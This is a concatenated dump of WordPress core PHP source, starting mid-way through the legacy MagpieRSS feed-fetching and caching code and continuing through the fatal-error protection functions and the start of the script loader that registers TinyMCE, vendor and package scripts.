				$item = $this->items[$i];
				if ( isset($item['description']))
					$item['summary'] = $item['description'];
				if ( isset($item['content']['encoded'] ) )
					$item['atom_content'] = $item['content']['encoded'];

				$this->items[$i] = $item;
			}
		}
	}

	function is_rss () {
		if ( $this->feed_type == RSS ) {
			return $this->feed_version;
		}
		else {
			return false;
		}
	}

	function is_atom() {
		if ( $this->feed_type == ATOM ) {
			return $this->feed_version;
		}
		else {
			return false;
		}
	}

	function map_attrs($k, $v) {
		return "$k=\"$v\"";
	}

	function error( $errormsg, $lvl = E_USER_WARNING ) {
		if ( MAGPIE_DEBUG ) {
			trigger_error( $errormsg, $lvl);
		} else {
			error_log( $errormsg, 0);
		}
	}

}

if ( !function_exists('fetch_rss') ) :
/**
 * Build Magpie object based on RSS from URL.
 *
 * @since 1.5.0
 * @package External
 * @subpackage MagpieRSS
 *
 * @param string $url URL to retrieve feed.
 * @return MagpieRSS|false MagpieRSS object on success, false on failure.
 */
function fetch_rss ($url) {
	// initialize constants
	init();

	if ( !isset($url) ) {
		// error("fetch_rss called without a url");
		return false;
	}

	// if cache is disabled
	if ( !MAGPIE_CACHE_ON ) {
		// fetch file, and parse it
		$resp = _fetch_remote_file( $url );
		if ( is_success( $resp->status ) ) {
			return _response_to_rss( $resp );
		}
		else {
			// error("Failed to fetch $url and cache is off");
			return false;
		}
	}
	// else cache is ON
	else {
		// Flow
		// 1. check cache
		// 2. if there is a hit, make sure it's fresh
		// 3. if cached obj fails freshness check, fetch remote
		// 4. if remote fails, return stale object, or error

		$cache = new RSSCache( MAGPIE_CACHE_DIR, MAGPIE_CACHE_AGE );

		if (MAGPIE_DEBUG and $cache->ERROR) {
			debug($cache->ERROR, E_USER_WARNING);
		}

		$cache_status 	 = 0;		// response of check_cache
		$request_headers = array(); // HTTP headers to send with fetch
		$rss 			 = 0;		// parsed RSS object
		$errormsg		 = 0;		// errors, if any

		if (!$cache->ERROR) {
			// return cache HIT, MISS, or STALE
			$cache_status = $cache->check_cache( $url );
		}

		// if object cached, and cache is fresh, return cached obj
		if ( $cache_status == 'HIT' ) {
			$rss = $cache->get( $url );
			if ( isset($rss) and $rss ) {
				$rss->from_cache = 1;
				if ( MAGPIE_DEBUG > 1) {
				debug("MagpieRSS: Cache HIT", E_USER_NOTICE);
			}
				return $rss;
			}
		}

		// else attempt a conditional get

		// set up headers
		if ( $cache_status == 'STALE' ) {
			$rss = $cache->get( $url );
			if ( isset($rss->etag) and $rss->last_modified ) {
				$request_headers['If-None-Match'] = $rss->etag;
				$request_headers['If-Last-Modified'] = $rss->last_modified;
			}
		}

		$resp = _fetch_remote_file( $url, $request_headers );

		if (isset($resp) and $resp) {
			if ($resp->status == '304' ) {
				// we have the most current copy
				if ( MAGPIE_DEBUG > 1) {
					debug("Got 304 for $url");
				}
				// reset cache on 304 (at minutillo insistent prodding)
				$cache->set($url, $rss);
				return $rss;
			}
			elseif ( is_success( $resp->status ) ) {
				$rss = _response_to_rss( $resp );
				if ( $rss ) {
					if (MAGPIE_DEBUG > 1) {
						debug("Fetch successful");
					}
					// add object to cache
					$cache->set( $url, $rss );
					return $rss;
				}
			}
			else {
				$errormsg = "Failed to fetch $url. ";
				if ( $resp->error ) {
					# compensate for Snoopy's annoying habit to tacking
					# on '\n'
					$http_error = substr($resp->error, 0, -2);
					$errormsg .= "(HTTP Error: $http_error)";
				}
				else {
					$errormsg .=  "(HTTP Response: " . $resp->response_code .')';
				}
			}
		}
		else {
			$errormsg = "Unable to retrieve RSS file for unknown reasons.";
		}

		// else fetch failed

		// attempt to return cached object
		if ($rss) {
			if ( MAGPIE_DEBUG ) {
				debug("Returning STALE object for $url");
			}
			return $rss;
		}

		// else we totally failed
		// error( $errormsg );

		return false;

	} // end if ( !MAGPIE_CACHE_ON ) {
} // end fetch_rss()
endif;

/**
 * Retrieve URL headers and content using WP HTTP Request API.
 *
 * @since 1.5.0
 * @package External
 * @subpackage MagpieRSS
 *
 * @param string $url URL to retrieve
 * @param array $headers Optional. Headers to send to the URL. Default empty string.
 * @return Snoopy style response
 */
function _fetch_remote_file($url, $headers = "" ) {
	$resp = wp_safe_remote_request( $url, array( 'headers' => $headers, 'timeout' => MAGPIE_FETCH_TIME_OUT ) );
	if ( is_wp_error($resp) ) {
		$error = array_shift($resp->errors);

		$resp = new stdClass;
		$resp->status = 500;
		$resp->response_code = 500;
		$resp->error = $error[0] . "\n"; //\n = Snoopy compatibility
		return $resp;
	}

	// Snoopy returns headers unprocessed.
	// Also note, WP_HTTP lowercases all keys, Snoopy did not.
	$return_headers = array();
	foreach ( wp_remote_retrieve_headers( $resp ) as $key => $value ) {
		if ( !is_array($value) ) {
			$return_headers[] = "$key: $value";
		} else {
			foreach ( $value as $v )
				$return_headers[] = "$key: $v";
		}
	}

	$response = new stdClass;
	$response->status = wp_remote_retrieve_response_code( $resp );
	$response->response_code = wp_remote_retrieve_response_code( $resp );
	$response->headers = $return_headers;
	$response->results = wp_remote_retrieve_body( $resp );

	return $response;
}

/**
 * Retrieve
 *
 * @since 1.5.0
 * @package External
 * @subpackage MagpieRSS
 *
 * @param array $resp
 * @return MagpieRSS|bool
 */
function _response_to_rss ($resp) {
	$rss = new MagpieRSS( $resp->results );

	// if RSS parsed successfully
	if ( $rss && (!isset($rss->ERROR) || !$rss->ERROR) ) {

		// find Etag, and Last-Modified
		foreach ( (array) $resp->headers as $h) {
			// 2003-03-02 - Nicola Asuni (www.tecnick.com) - fixed bug "Undefined offset: 1"
			if (strpos($h, ": ")) {
				list($field, $val) = explode(": ", $h, 2);
			}
			else {
				$field = $h;
				$val = "";
			}

			if ( $field == 'etag' ) {
				$rss->etag = $val;
			}

			if ( $field == 'last-modified' ) {
				$rss->last_modified = $val;
			}
		}

		return $rss;
	} // else construct error message
	else {
		$errormsg = "Failed to parse RSS file.";

		if ($rss) {
			$errormsg .= " (" . $rss->ERROR . ")";
		}
		// error($errormsg);

		return false;
	} // end if ($rss and !$rss->error)
}

/**
 * Set up constants with default values, unless user overrides.
 *
 * @since 1.5.0
 * 
 * @global string $wp_version The WordPress version string.
 * 
 * @package External
 * @subpackage MagpieRSS
 */
function init () {
	if ( defined('MAGPIE_INITALIZED') ) {
		return;
	}
	else {
		define('MAGPIE_INITALIZED', 1);
	}

	if ( !defined('MAGPIE_CACHE_ON') ) {
		define('MAGPIE_CACHE_ON', 1);
	}

	if ( !defined('MAGPIE_CACHE_DIR') ) {
		define('MAGPIE_CACHE_DIR', './cache');
	}

	if ( !defined('MAGPIE_CACHE_AGE') ) {
		define('MAGPIE_CACHE_AGE', 60*60); // one hour
	}

	if ( !defined('MAGPIE_CACHE_FRESH_ONLY') ) {
		define('MAGPIE_CACHE_FRESH_ONLY', 0);
	}

		if ( !defined('MAGPIE_DEBUG') ) {
		define('MAGPIE_DEBUG', 0);
	}

	if ( !defined('MAGPIE_USER_AGENT') ) {
		$ua = 'WordPress/' . $GLOBALS['wp_version'];

		if ( MAGPIE_CACHE_ON ) {
			$ua = $ua . ')';
		}
		else {
			$ua = $ua . '; No cache)';
		}

		define('MAGPIE_USER_AGENT', $ua);
	}

	if ( !defined('MAGPIE_FETCH_TIME_OUT') ) {
		define('MAGPIE_FETCH_TIME_OUT', 2);	// 2 second timeout
	}

	// use gzip encoding to fetch rss files if supported?
	if ( !defined('MAGPIE_USE_GZIP') ) {
		define('MAGPIE_USE_GZIP', true);
	}
}

function is_info ($sc) {
	return $sc >= 100 && $sc < 200;
}

function is_success ($sc) {
	return $sc >= 200 && $sc < 300;
}

function is_redirect ($sc) {
	return $sc >= 300 && $sc < 400;
}

function is_error ($sc) {
	return $sc >= 400 && $sc < 600;
}

function is_client_error ($sc) {
	return $sc >= 400 && $sc < 500;
}

function is_server_error ($sc) {
	return $sc >= 500 && $sc < 600;
}

class RSSCache {
	var $BASE_CACHE;	// where the cache files are stored
	var $MAX_AGE	= 43200;  		// when are files stale, default twelve hours
	var $ERROR 		= '';			// accumulate error messages

	/**
	 * PHP5 constructor.
	 */
	function __construct( $base = '', $age = '' ) {
		$this->BASE_CACHE = WP_CONTENT_DIR . '/cache';
		if ( $base ) {
			$this->BASE_CACHE = $base;
		}
		if ( $age ) {
			$this->MAX_AGE = $age;
		}

	}

	/**
	 * PHP4 constructor.
	 */
	public function RSSCache( $base = '', $age = '' ) {
		self::__construct( $base, $age );
	}

/*=======================================================================*\
	Function:	set
	Purpose:	add an item to the cache, keyed on url
	Input:		url from which the rss file was fetched
	Output:		true on success
\*=======================================================================*/
	function set ($url, $rss) {
		$cache_option = 'rss_' . $this->file_name( $url );

		set_transient($cache_option, $rss, $this->MAX_AGE);

		return $cache_option;
	}

/*=======================================================================*\
	Function:	get
	Purpose:	fetch an item from the cache
	Input:		url from which the rss file was fetched
	Output:		cached object on HIT, false on MISS
\*=======================================================================*/
	function get ($url) {
		$this->ERROR = "";
		$cache_option = 'rss_' . $this->file_name( $url );

		if ( ! $rss = get_transient( $cache_option ) ) {
			$this->debug(
				"Cache does not contain: $url (cache option: $cache_option)"
			);
			return 0;
		}

		return $rss;
	}

/*=======================================================================*\
	Function:	check_cache
	Purpose:	check a url for membership in the cache
				and whether the object is older then MAX_AGE (ie. STALE)
	Input:		url from which the rss file was fetched
	Output:		cached object on HIT, false on MISS
\*=======================================================================*/
	function check_cache ( $url ) {
		$this->ERROR = "";
		$cache_option = 'rss_' . $this->file_name( $url );

		if ( get_transient($cache_option) ) {
			// object exists and is current
				return 'HIT';
		} else {
			// object does not exist
			return 'MISS';
		}
	}

/*=======================================================================*\
	Function:	serialize
\*=======================================================================*/
	function serialize ( $rss ) {
		return serialize( $rss );
	}

/*=======================================================================*\
	Function:	unserialize
\*=======================================================================*/
	function unserialize ( $data ) {
		return unserialize( $data );
	}

/*=======================================================================*\
	Function:	file_name
	Purpose:	map url to location in cache
	Input:		url from which the rss file was fetched
	Output:		a file name
\*=======================================================================*/
	function file_name ($url) {
		return md5( $url );
	}

/*=======================================================================*\
	Function:	error
	Purpose:	register error
\*=======================================================================*/
	function error ($errormsg, $lvl=E_USER_WARNING) {
		$this->ERROR = $errormsg;
		if ( MAGPIE_DEBUG ) {
			trigger_error( $errormsg, $lvl);
		}
		else {
			error_log( $errormsg, 0);
		}
	}
			function debug ($debugmsg, $lvl=E_USER_NOTICE) {
		if ( MAGPIE_DEBUG ) {
			$this->error("MagpieRSS [debug] $debugmsg", $lvl);
		}
	}
}

if ( !function_exists('parse_w3cdtf') ) :
function parse_w3cdtf ( $date_str ) {

	# regex to match W3C date/time formats
	$pat = "/(\d{4})-(\d{2})-(\d{2})T(\d{2}):(\d{2})(:(\d{2}))?(?:([-+])(\d{2}):?(\d{2})|(Z))?/";

	if ( preg_match( $pat, $date_str, $match ) ) {
		list( $year, $month, $day, $hours, $minutes, $seconds) =
			array( $match[1], $match[2], $match[3], $match[4], $match[5], $match[7]);

		# calc epoch for current date assuming GMT
		$epoch = gmmktime( $hours, $minutes, $seconds, $month, $day, $year);

		$offset = 0;
		if ( $match[11] == 'Z' ) {
			# zulu time, aka GMT
		}
		else {
			list( $tz_mod, $tz_hour, $tz_min ) =
				array( $match[8], $match[9], $match[10]);

			# zero out the variables
			if ( ! $tz_hour ) { $tz_hour = 0; }
			if ( ! $tz_min ) { $tz_min = 0; }

			$offset_secs = (($tz_hour*60)+$tz_min)*60;

			# is timezone ahead of GMT?  then subtract offset
			#
			if ( $tz_mod == '+' ) {
				$offset_secs = $offset_secs * -1;
			}

			$offset = $offset_secs;
		}
		$epoch = $epoch + $offset;
		return $epoch;
	}
	else {
		return -1;
	}
}
endif;

if ( !function_exists('wp_rss') ) :
/**
 * Display all RSS items in a HTML ordered list.
 *
 * @since 1.5.0
 * @package External
 * @subpackage MagpieRSS
 *
 * @param string $url URL of feed to display. Will not auto sense feed URL.
 * @param int $num_items Optional. Number of items to display, default is all.
 */
function wp_rss( $url, $num_items = -1 ) {
	if ( $rss = fetch_rss( $url ) ) {
		echo '<ul>';

		if ( $num_items !== -1 ) {
			$rss->items = array_slice( $rss->items, 0, $num_items );
		}

		foreach ( (array) $rss->items as $item ) {
			printf(
				'<li><a href="%1$s" title="%2$s">%3$s</a></li>',
				esc_url( $item['link'] ),
				esc_attr( strip_tags( $item['description'] ) ),
				esc_html( $item['title'] )
			);
		}

		echo '</ul>';
	} else {
		_e( 'An error has occurred, which probably means the feed is down. Try again later.' );
	}
}
endif;

if ( !function_exists('get_rss') ) :
/**
 * Display RSS items in HTML list items.
 *
 * You have to specify which HTML list you want, either ordered or unordered
 * before using the function. You also have to specify how many items you wish
 * to display. You can't display all of them like you can with wp_rss()
 * function.
 *
 * @since 1.5.0
 * @package External
 * @subpackage MagpieRSS
 *
 * @param string $url URL of feed to display. Will not auto sense feed URL.
 * @param int $num_items Optional. Number of items to display, default is all.
 * @return bool False on failure.
 */
function get_rss ($url, $num_items = 5) { // Like get posts, but for RSS
	$rss = fetch_rss($url);
	if ( $rss ) {
		$rss->items = array_slice($rss->items, 0, $num_items);
		foreach ( (array) $rss->items as $item ) {
			echo "<li>\n";
			echo "<a href='$item[link]' title='$item[description]'>";
			echo esc_html($item['title']);
			echo "</a><br />\n";
			echo "</li>\n";
		}
	} else {
		return false;
	}
}
endif;
<?php
/**
 * Error Protection API: Functions
 *
 * @package WordPress
 * @since 5.2.0
 */

/**
 * Get the instance for storing paused plugins.
 *
 * @return WP_Paused_Extensions_Storage
 */
function wp_paused_plugins() {
	static $storage = null;

	if ( null === $storage ) {
		$storage = new WP_Paused_Extensions_Storage( 'plugin' );
	}

	return $storage;
}

/**
 * Get the instance for storing paused extensions.
 *
 * @return WP_Paused_Extensions_Storage
 */
function wp_paused_themes() {
	static $storage = null;

	if ( null === $storage ) {
		$storage = new WP_Paused_Extensions_Storage( 'theme' );
	}

	return $storage;
}

/**
 * Get a human readable description of an extension's error.
 *
 * @since 5.2.0
 *
 * @param array $error Error details from `error_get_last()`.
 * @return string Formatted error description.
 */
function wp_get_extension_error_description( $error ) {
	$constants   = get_defined_constants( true );
	$constants   = isset( $constants['Core'] ) ? $constants['Core'] : $constants['internal'];
	$core_errors = array();

	foreach ( $constants as $constant => $value ) {
		if ( str_starts_with( $constant, 'E_' ) ) {
			$core_errors[ $value ] = $constant;
		}
	}

	if ( isset( $core_errors[ $error['type'] ] ) ) {
		$error['type'] = $core_errors[ $error['type'] ];
	}

	/* translators: 1: Error type, 2: Error line number, 3: Error file name, 4: Error message. */
	$error_message = __( 'An error of type %1$s was caused in line %2$s of the file %3$s. Error message: %4$s' );

	return sprintf(
		$error_message,
		"<code>{$error['type']}</code>",
		"<code>{$error['line']}</code>",
		"<code>{$error['file']}</code>",
		"<code>{$error['message']}</code>"
	);
}

/**
 * Registers the shutdown handler for fatal errors.
 *
 * The handler will only be registered if {@see wp_is_fatal_error_handler_enabled()} returns true.
 *
 * @since 5.2.0
 */
function wp_register_fatal_error_handler() {
	if ( ! wp_is_fatal_error_handler_enabled() ) {
		return;
	}

	$handler = null;
	if ( defined( 'WP_CONTENT_DIR' ) && is_readable( WP_CONTENT_DIR . '/fatal-error-handler.php' ) ) {
		$handler = include WP_CONTENT_DIR . '/fatal-error-handler.php';
	}

	if ( ! is_object( $handler ) || ! is_callable( array( $handler, 'handle' ) ) ) {
		$handler = new WP_Fatal_Error_Handler();
	}

	register_shutdown_function( array( $handler, 'handle' ) );
}

/**
 * Checks whether the fatal error handler is enabled.
 *
 * A constant `WP_DISABLE_FATAL_ERROR_HANDLER` can be set in `wp-config.php` to disable it, or alternatively the
 * {@see 'wp_fatal_error_handler_enabled'} filter can be used to modify the return value.
 *
 * @since 5.2.0
 *
 * @return bool True if the fatal error handler is enabled, false otherwise.
 */
function wp_is_fatal_error_handler_enabled() {
	$enabled = ! defined( 'WP_DISABLE_FATAL_ERROR_HANDLER' ) || ! WP_DISABLE_FATAL_ERROR_HANDLER;

	/**
	 * Filters whether the fatal error handler is enabled.
	 *
	 * **Important:** This filter runs before it can be used by plugins. It cannot
	 * be used by plugins, mu-plugins, or themes. To use this filter you must define
	 * a `$wp_filter` global before WordPress loads, usually in `wp-config.php`.
	 *
	 * Example:
	 *
	 *     $GLOBALS['wp_filter'] = array(
	 *         'wp_fatal_error_handler_enabled' => array(
	 *             10 => array(
	 *                 array(
	 *                     'accepted_args' => 0,
	 *                     'function'      => function() {
	 *                         return false;
	 *                     },
	 *                 ),
	 *             ),
	 *         ),
	 *     );
	 *
	 * Alternatively you can use the `WP_DISABLE_FATAL_ERROR_HANDLER` constant.
	 *
	 * @since 5.2.0
	 *
	 * @param bool $enabled True if the fatal error handler is enabled, false otherwise.
	 */
	return apply_filters( 'wp_fatal_error_handler_enabled', $enabled );
}

/**
 * Access the WordPress Recovery Mode instance.
 *
 * @since 5.2.0
 *
 * @return WP_Recovery_Mode
 */
function wp_recovery_mode() {
	static $wp_recovery_mode;

	if ( ! $wp_recovery_mode ) {
		$wp_recovery_mode = new WP_Recovery_Mode();
	}

	return $wp_recovery_mode;
}
<?php
/**
 * WordPress scripts and styles default loader.
 *
 * Several constants are used to manage the loading, concatenating and compression of scripts and CSS:
 * define('SCRIPT_DEBUG', true); loads the development (non-minified) versions of all scripts and CSS, and disables compression and concatenation,
 * define('CONCATENATE_SCRIPTS', false); disables compression and concatenation of scripts and CSS,
 * define('COMPRESS_SCRIPTS', false); disables compression of scripts,
 * define('COMPRESS_CSS', false); disables compression of CSS,
 * define('ENFORCE_GZIP', true); forces gzip for compression (default is deflate).
 *
 * The globals $concatenate_scripts, $compress_scripts and $compress_css can be set by plugins
 * to temporarily override the above settings. Also a compression test is run once and the result is saved
 * as option 'can_compress_scripts' (0/1). The test will run again if that option is deleted.
 *
 * @package WordPress
 */

/** WordPress Dependency Class */
require ABSPATH . WPINC . '/class-wp-dependency.php';

/** WordPress Dependencies Class */
require ABSPATH . WPINC . '/class-wp-dependencies.php';

/** WordPress Scripts Class */
require ABSPATH . WPINC . '/class-wp-scripts.php';

/** WordPress Scripts Functions */
require ABSPATH . WPINC . '/functions.wp-scripts.php';

/** WordPress Styles Class */
require ABSPATH . WPINC . '/class-wp-styles.php';

/** WordPress Styles Functions */
require ABSPATH . WPINC . '/functions.wp-styles.php';

/**
 * Registers TinyMCE scripts.
 *
 * @since 5.0.0
 *
 * @global string $tinymce_version
 * @global bool   $concatenate_scripts
 * @global bool   $compress_scripts
 *
 * @param WP_Scripts $scripts            WP_Scripts object.
 * @param bool       $force_uncompressed Whether to forcibly prevent gzip compression. Default false.
 */
function wp_register_tinymce_scripts( $scripts, $force_uncompressed = false ) {
	global $tinymce_version, $concatenate_scripts, $compress_scripts;

	$suffix     = wp_scripts_get_suffix();
	$dev_suffix = wp_scripts_get_suffix( 'dev' );

	script_concat_settings();

	$compressed = $compress_scripts && $concatenate_scripts && isset( $_SERVER['HTTP_ACCEPT_ENCODING'] )
		&& false !== stripos( $_SERVER['HTTP_ACCEPT_ENCODING'], 'gzip' ) && ! $force_uncompressed;

	/*
	 * Load tinymce.js when running from /src, otherwise load wp-tinymce.js.gz (in production)
	 * or tinymce.min.js (when SCRIPT_DEBUG is true).
	 */
	if ( $compressed ) {
		$scripts->add( 'wp-tinymce', includes_url( 'js/tinymce/' ) . 'wp-tinymce.js', array(), $tinymce_version );
	} else {
		$scripts->add( 'wp-tinymce-root', includes_url( 'js/tinymce/' ) . "tinymce$dev_suffix.js", array(), $tinymce_version );
		$scripts->add( 'wp-tinymce', includes_url( 'js/tinymce/' ) . "plugins/compat3x/plugin$dev_suffix.js", array( 'wp-tinymce-root' ), $tinymce_version );
	}

	$scripts->add( 'wp-tinymce-lists', includes_url( "js/tinymce/plugins/lists/plugin$suffix.js" ), array( 'wp-tinymce' ), $tinymce_version );
}

/**
 * Registers all the WordPress vendor scripts that are in the standardized
 * `js/dist/vendor/` location.
 *
 * For the order of `$scripts->add` see `wp_default_scripts`.
 *
 * @since 5.0.0
 *
 * @global WP_Locale $wp_locale WordPress date and time locale object.
 *
 * @param WP_Scripts $scripts WP_Scripts object.
 */
function wp_default_packages_vendor( $scripts ) {
	global $wp_locale;

	$suffix = wp_scripts_get_suffix();

	$vendor_scripts = array(
		'react'       => array( 'wp-polyfill' ),
		'react-dom'   => array( 'react' ),
		'regenerator-runtime',
		'moment',
		'lodash',
		'wp-polyfill-fetch',
		'wp-polyfill-formdata',
		'wp-polyfill-importmap',
		'wp-polyfill-node-contains',
		'wp-polyfill-url',
		'wp-polyfill-dom-rect',
		'wp-polyfill-element-closest',
		'wp-polyfill-object-fit',
		'wp-polyfill-inert',
		'wp-polyfill' => array( 'wp-polyfill-inert', 'regenerator-runtime' ),
	);

	$vendor_scripts_versions = array(
		'react'                       => '18.2.0',
		'react-dom'                   => '18.2.0',
		'regenerator-runtime'         => '0.14.0',
		'moment'                      => '2.29.4',
		'lodash'                      => '4.17.21',
		'wp-polyfill-fetch'           => '3.6.17',
		'wp-polyfill-formdata'        => '4.0.10',
		'wp-polyfill-node-contains'   => '4.8.0',
		'wp-polyfill-url'             => '3.6.4',
		'wp-polyfill-dom-rect'        => '4.8.0',
		'wp-polyfill-element-closest' => '3.0.2',
		'wp-polyfill-object-fit'      => '2.3.5',
		'wp-polyfill-inert'           => '3.1.2',
		'wp-polyfill'                 => '3.15.0',
		'wp-polyfill-importmap'       => '1.8.2',
	);

	foreach ( $vendor_scripts as $handle => $dependencies ) {
		if ( is_string( $dependencies ) ) {
			$handle       = $dependencies;
			$dependencies = array();
		}

		$path    = "/wp-includes/js/dist/vendor/$handle$suffix.js";
		$version = $vendor_scripts_versions[ $handle ];

		$scripts->add( $handle, $path, $dependencies, $version, 1 );
	}

	did_action( 'init' ) && $scripts->add_inline_script( 'lodash', 'window.lodash = _.noConflict();' );

	did_action( 'init' ) && $scripts->add_inline_script(
		'moment',
		sprintf(
			"moment.updateLocale( '%s', %s );",
			get_user_locale(),
			wp_json_encode(
				array(
					'months'         => array_values( $wp_locale->month ),
					'monthsShort'    => array_values( $wp_locale->month_abbrev ),
					'weekdays'       => array_values( $wp_locale->weekday ),
					'weekdaysShort'  => array_values( $wp_locale->weekday_abbrev ),
					'week'           => array(
						'dow' => (int) get_option( 'start_of_week', 0 ),
					),
					'longDateFormat' => array(
						'LT'   => get_option( 'time_format', __( 'g:i a' ) ),
						'LTS'  => null,
						'L'    => null,
						'LL'   => get_option( 'date_format', __( 'F j, Y' ) ),
						'LLL'  => __( 'F j, Y g:i a' ),
						'LLLL' => null,
					),
				)
			)
		),
		'after'
	);
}

/**
 * Returns contents of an inline script used in appending polyfill scripts for
 * browsers which fail the provided tests. The provided array is a mapping from
 * a condition to verify feature support to its polyfill script handle.
 *
 * @since 5.0.0
 *
 * @param WP_Scripts $scripts WP_Scripts object.
 * @param string[]   $tests   Features to detect.
 * @return string Conditional polyfill inline script.
 */
function wp_get_script_polyfill( $scripts, $tests ) {
	$polyfill = '';
	foreach ( $tests as $test => $handle ) {
		if ( ! array_key_exists( $handle, $scripts->registered ) ) {
			continue;
		}

		$src = $scripts->registered[ $handle ]->src;
		$ver = $scripts->registered[ $handle ]->ver;

		if ( ! preg_match( '|^(https?:)?//|', $src ) && ! ( $scripts->content_url && str_starts_with( $src, $scripts->content_url ) ) ) {
			$src = $scripts->base_url . $src;
		}

		if ( ! empty( $ver ) ) {
			$src = add_query_arg( 'ver', $ver, $src );
		}

		/** This filter is documented in wp-includes/class-wp-scripts.php */
		$src = esc_url( apply_filters( 'script_loader_src', $src, $handle ) );

		if ( ! $src ) {
			continue;
		}

		$polyfill .= (
			// Test presence of feature...
			'( ' . $test . ' ) || ' .
			/*
			 * ...appending polyfill on any failures. Cautious viewers may balk
			 * at the `document.write`. Its caveat of synchronous mid-stream
			 * blocking write is exactly the behavior we need though.
			 */
			'document.write( \'<script src="' .
			$src .
			'"></scr\' + \'ipt>\' );'
		);
	}

	return $polyfill;
}

/**
 * Registers development scripts that integrate with `@wordpress/scripts`.
 *
 * @see https://github.com/WordPress/gutenberg/tree/trunk/packages/scripts#start
 *
 * @since 6.0.0
 *
 * @param WP_Scripts $scripts WP_Scripts object.
 */
function wp_register_development_scripts( $scripts ) {
	if (
		! defined( 'SCRIPT_DEBUG' ) || ! SCRIPT_DEBUG
		|| empty( $scripts->registered['react'] )
		|| defined( 'WP_RUN_CORE_TESTS' )
	) {
		return;
	}

	$development_scripts = array(
		'react-refresh-entry',
		'react-refresh-runtime',
	);

	foreach ( $development_scripts as $script_name ) {
		$assets = include ABSPATH . WPINC . '/assets/script-loader-' . $script_name . '.php';
		if ( ! is_array( $assets ) ) {
			return;
		}
		$scripts->add(
			'wp-' . $script_name,
			'/wp-includes/js/dist/development/' . $script_name . '.js',
			$assets['dependencies'],
			$assets['version']
		);
	}

	// See https://github.com/pmmmwh/react-refresh-webpack-plugin/blob/main/docs/TROUBLESHOOTING.md#externalising-react.
	$scripts->registered['react']->deps[] = 'wp-react-refresh-entry';
}

/**
 * Registers all the WordPress packages scripts that are in the standardized
 * `js/dist/` location.
 *
 * For the order of `$scripts->add` see `wp_default_scripts`.
 *
 * @since 5.0.0
 *
 * @param WP_Scripts $scripts WP_Scripts object.
 */
function wp_default_packages_scripts( $scripts ) {
	$suffix = defined( 'WP_RUN_CORE_TESTS' ) ? '.min' : wp_scripts_get_suffix();
	/*
	 * Expects multidimensional array like:
	 *
	 *     'a11y.js' => array('dependencies' => array(...), 'version' => '...'),
	 *     'annotations.js' => array('dependencies' => array(...), 'version' => '...'),
	 *     'api-fetch.js' => array(...
	 */
	$assets = include ABSPATH . WPINC . "/assets/script-loader-packages{$suffix}.php";

	// Add the private version of the Interactivity API manually.
	$scripts->add( 'wp-interactivity', '/wp-includes/js/dist/interactivity.min.js' );
	did_action( 'init' ) && $scripts->add_data( 'wp-interactivity', 'strategy', 'defer' );

	foreach ( $assets as $file_name => $package_data ) {
		$basename = str_replace( $suffix . '.js', '', basename( $file_name ) );
		$handle   = 'wp-' . $basename;
		$path     = "/wp-includes/js/dist/{$basename}{$suffix}.js";

		if ( ! empty( $package_data['dependencies'] ) ) {
			$dependencies = $package_data['dependencies'];
		} else {
			$dependencies = array();
		}

		// Add dependencies that cannot be detected and generated by build tools.
		switch ( $handle ) {
			case 'wp-block-library':
				array_push( $dependencies, 'editor' );
				break;
			case 'wp-edit-post':
				array_push( $dependencies, 'media-models', 'media-views', 'postbox', 'wp-dom-ready' );
				break;
			case 'wp-preferences':
				array_push( $dependencies, 'wp-preferences-persistence' );
				break;
		}

		$scripts->add( $handle, $path, $dependencies, $package_data['version'], 1 );

		if ( in_array( 'wp-i18n', $dependencies, true ) ) {
			$scripts->set_translations( $handle );
		}

		/*
		 * Manually set the text direction localization after wp-i18n is printed.
		 * This ensures that wp.i18n.isRTL() returns true in RTL languages.
		 * We cannot use $scripts->set_translations( 'wp-i18n' ) to do this
		 * because WordPress prints a script's translations *before* the script,
		 * which means, in the case of wp-i18n, that wp.i18n.setLocaleData()
		 * is called before wp.i18n is defined.
		 */
		if ( 'wp-i18n' === $handle ) {
			$ltr    = _x( 'ltr', 'text direction' );
			$script = sprintf( "wp.i18n.setLocaleData( { 'text direction\u0004ltr': [ '%s' ] } );", $ltr );
			$scripts->add_inline_script( $handle, $script, 'after' );
		}
	}
}

/**
 * Adds inline scripts required for the WordPress JavaScript packages.
 *
 * @since 5.0.0
 * @since 6.4.0 Added relative time strings for the `wp-date` inline script output.
 *
 * @global WP_Locale $wp_locale WordPress date and time locale object.
 * @global wpdb      $wpdb      WordPress database abstraction object.
 *
 * @param WP_Scripts $scripts WP_Scripts object.
 */
function wp_default_packages_inline_scripts( $scripts ) {
	global $wp_locale, $wpdb;

	if ( isset( $scripts->registered['wp-api-fetch'] ) ) {
		$scripts->registered['wp-api-fetch']->deps[] = 'wp-hooks';
	}
	$scripts->add_inline_script(
		'wp-api-fetch',
		sprintf(
			'wp.apiFetch.use( wp.apiFetch.createRootURLMiddleware( "%s" ) );',
			sanitize_url( get_rest_url() )
		),
		'after'
	);
	$scripts->add_inline_script(
		'wp-api-fetch',
		implode(
			"\n",
			array(
				sprintf(
					'wp.apiFetch.nonceMiddleware = wp.apiFetch.createNonceMiddleware( "%s" );',
					wp_installing() ? '' : wp_create_nonce( 'wp_rest' )
				),
				'wp.apiFetch.use( wp.apiFetch.nonceMiddleware );',
				'wp.apiFetch.use( wp.apiFetch.mediaUploadMiddleware );',
				sprintf(
					'wp.apiFetch.nonceEndpoint = "%s";',
					admin_url( 'admin-ajax.php?action=rest-nonce' )
				),
			)
		),
		'after'
	);

	$meta_key     = $wpdb->get_blog_prefix() . 'persisted_preferences';
	$user_id      = get_current_user_id();
	$preload_data = get_user_meta( $user_id, $meta_key, true );
	$scripts->add_inline_script(
		'wp-preferences',
		sprintf(
			'( function() {
				var serverData = %s;
				var userId = "%d";
				var persistenceLayer = wp.preferencesPersistence.__unstableCreatePersistenceLayer( serverData, userId );
				var preferencesStore = wp.preferences.store;
				wp.data.dispatch( preferencesStore ).setPersistenceLayer( persistenceLayer );
			} ) ();',
			wp_json_encode( $preload_data ),
			$user_id
		)
	);

	// Backwards compatibility - configure the old wp-data persistence system.
	$scripts->add_inline_script(
		'wp-data',
		implode(
			"\n",
			array(
				'( function() {',
				'	var userId = ' . get_current_user_ID() . ';',
				'	var storageKey = "WP_DATA_USER_" + userId;',
				'	wp.data',
				'		.use( wp.data.plugins.persistence, { storageKey: storageKey } );',
				'} )();',
			)
		)
	);

	// Calculate the timezone abbr (EDT, PST) if possible.
	$timezone_string = get_option( 'timezone_string', 'UTC' );
	$timezone_abbr   = '';

	if ( ! empty( $timezone_string ) ) {
		$timezone_date = new DateTime( 'now', new DateTimeZone( $timezone_string ) );
		$timezone_abbr = $timezone_date->format( 'T' );
	}

